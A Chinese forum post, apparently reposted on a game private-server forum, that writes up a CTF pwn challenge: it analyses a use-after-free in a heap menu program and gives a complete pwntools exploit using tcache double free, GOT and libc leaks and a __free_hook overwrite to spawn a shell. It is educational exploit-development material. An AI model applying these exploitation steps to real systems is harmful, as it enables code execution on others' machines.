12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 227|回复: 0

安恒4月月赛 pwn2 sales_office(fastbin double free)

[复制链接]

63

主题

63

帖子

136

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
136
发表于 2020-5-11 10:22:40 | 显示全部楼层 |阅读模式
前几天打了安恒4月月赛,pwn2给我的感觉还挺巧妙的 ,今天复盘一下,把具体的利用过程理一下,顺带复习
远端环境已经无了,题目glibc版本是2.27 ubuntu18.04(会涉及到一些tcache的知识)
本地调试用虚拟机自带的libc就行


首先IDA分析

典型的菜单选择题目 其中buy 用于申请,第二个功能不可用,show用于打印,sell用于free
深入分析每一个函数的具体实现
1.buy

arena为全局数组 位于bss段 地址0x6020a0

申请一个堆块是会有两次malloc一次固定的 area[v0] = (void **)malloc(0x10uLL);用于存放后续的堆地址(堆块大小为固定的0x20),命名为指针堆块
第二次malloc(size)申请出用户指定大小的堆块
需要说明的是如果第二次的size为0x10那么这个堆块(命名为数据堆块)就会和指针堆块相邻
申请完成后接受输入内容,不存在堆溢出漏洞
2.show


正常的打印功能,puts()内的参数为指针堆块的指针(该指针指向数据堆块的data段,不是指向数据堆块的首地址)
打印的检查为指针堆快(指针堆快的地址存放于area[v0])是否为空,不为空时将指针指向的内容打印出,这一点在后续的泄漏还会用到

3.sell


该函数主要功能为free ,free掉指针堆块和数据堆块,但是在free之后没有将指针置为null
是一个典型的uaf 漏洞


pwntools开始编写脚本
首先给出定义的一些函数 ,方便后续操作

def new(size,content):
    p.sendlineafter('choice:','1')
    p.sendlineafter('house:',str(size))
    p.sendafter('your house:',content)
def show(index):
    p.sendlineafter('choice:','3')
    p.sendlineafter('index:',str(index))
def free(index):
    p.sendlineafter('choice:','4')
    p.sendlineafter('index:',str(index))



1.通过double free 构造环状链表泄漏堆地址
new(0x10,'aaaa') #0
new(0x10,'bbbb') #1
new(0x10,'cccc') #2
new(0x10,'dddd') #3
#pause()1
free(2)
free(0)
#pause()2
free(0)
show(0)
#pause()3

首先我们观察一下pause1时的堆块分布情况(每次下断点运行后,都是重新运行脚本 ,所以堆地址会有变化,但是后两位不变,如果有图与文字不对应的情况,就看地址的后两位就行

此时的area全局数组的情况如下

通过上面两图,可以清楚的发现指针的指向关系:
area[v0]->指针堆块的数据段,指针堆块的数据段的存放的是指向数据堆块数据段的指针(有点绕,得把关系理清楚
我们可以通过先free chunk2让两个大小为0x20的堆块进入tcache链中
然后再free chunk0 再让chunk0的两个大小为0x20的堆块进入tcache链中
此时我们查看pasue2时的堆块分布情况
此时被释放的堆块进入到tcache链中 关于tcache的相关知识 给出一个链接,里面有比较详细的解释(tcache为先进后出出的结构,图中的tcache链是从左边进入)
https://www.jianshu.com/p/3ef98e86a913


可以发现,chunk1的数据堆块和指针堆块都不为空,指针堆块指向数据堆块的数据段,数据堆块指向chunk2的指针堆块的数据段。
堆块链表的情况为:

chunk0_p->chunk0_d->->chunk2_p->chunk2_d

此时满足sell函数 free(area[v0]),free(*area[v0])的条件
即可以对chunk0进行double free 造成一个环形链表

堆块链表的情况应该是
chunk0_p->chunk0_d->chunk0_p->chunk0_d->->chunk2_p->chunk2_d
此时已经形成了一个环形链表
chunk0_p->chunk0_d->chunk0_p->chunk0_d
此时我们在pause3处观察heap分布情况

我们发现tcache 中已经构成了环形链表

此时show(0)即可打印出堆地址
减去偏移0x260即可得到堆基地址
p.recvuntil('house:\n')
heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x260
log.info('HEAP:\t'+ hex(heap_base))


可以看到已经泄漏出了堆的基地址

2.写入elf.got['__libc_start_main'],泄漏libc基地址
具体代码如下
new(0x10,p64(heap_base + 0x2A0))
#pause()
new(0x20,'eeee')
#pause()
new(0x10,p64(elf.got['__libc_start_main']))
show(1)# 泄漏地址
#pause()
p.recvuntil('house:\n')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - libc.sym['__libc_start_main']
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
pause()

此时tcache 链表中的堆块情况为:
chunk0_p->chunk0_d->chunk0_p->chunk0_d

area分布如图

我们只需要在area[1]的指向的位置(0x0000000001dd72a0)写入got,然后通过puts(*area[1])即可泄漏出一个libc地址
首先看 new(0x10,p64(heap_base + 0x2A0)) 后的结果
每次下断点运行后,都是重新运行脚本 ,所以堆地址会有变化,但是后两位不变,如果有图与文字不对应的情况,就看地址的后两位就行


new(0x20,'eeee')的目的在于,首先消耗掉tcache链中最左边的大小为0x20的一个堆块(0x15ec260)
然后数据堆块的大小为0x30 tcache 链中没有符合大小的堆块,0x15ec280堆块(大小为0x20)得以保留,
new(0x10,p64(elf.got['__libc_start_main']))的时候就会出现一个错位的情况(精妙之处),原本的数据堆块(0x15ec280)用于存放指针,
而原本的指针堆块(0x15ec2a0,此堆块对应chunk1_p)则用于存放了我们的数据(libc_start_main.got)
反过来再看我们开头说的“我们只需要在area[1]的指向的位置(0x0000000001dd72a0)写入got,然后通过puts(*area[1])即可泄漏出一个libc地址”
我们已经成功的写入了got ,利用puts即可泄漏



3.在已经知道libc地址的情况下,修改free_hook为system,通过free(p),p为指向"bin/sh\x00"的字符串,获取shell
具体代码如下
free(3)
free(3)
new(0x10,p64(free_hook))
pause()
new(0x20,'/bin/sh\x00')
new(0x10,p64(system))
free(8)
p.interactive()

此时的对分布情况如图


利用1中的原理 两次free(3) 造成环状链表

new(0x10,p64(free_hook))
之前的tcache 链如下:
chunk3_p->chunk3_d->chunk3_p->chunk3_d
执行 new(0x10,p64(free_hook))之后的tcache 链如下:
chunk3_p->chunk3_d->free_hook


new(0x20,'/bin/sh\x00')
跟上面的错位原理一样,我们需要free_hook刚好作为数据堆块分出


图中标出的即为free_hook
当我们再次执行new(0x10,p64(system))的free_hook会被以数据堆块的形式分配出
这就造成了free_hook被修改为system
此时我们只需确定'/bin/sh\x00'所在堆块的下标号
通过free()即可大功告成!


对比堆块内容 我们发现下标为8




终于完成了!!!

最后附上exp和文件

exp.rar

sales_office.rar
还是太菜了,pwn真的是一门艺术sales_office.rar
3.37 KB, 下载次数: 8, 下载积分: 吾爱币 -1 CB

题目文件

来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-5-18 19:14 , Processed in 0.111328 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表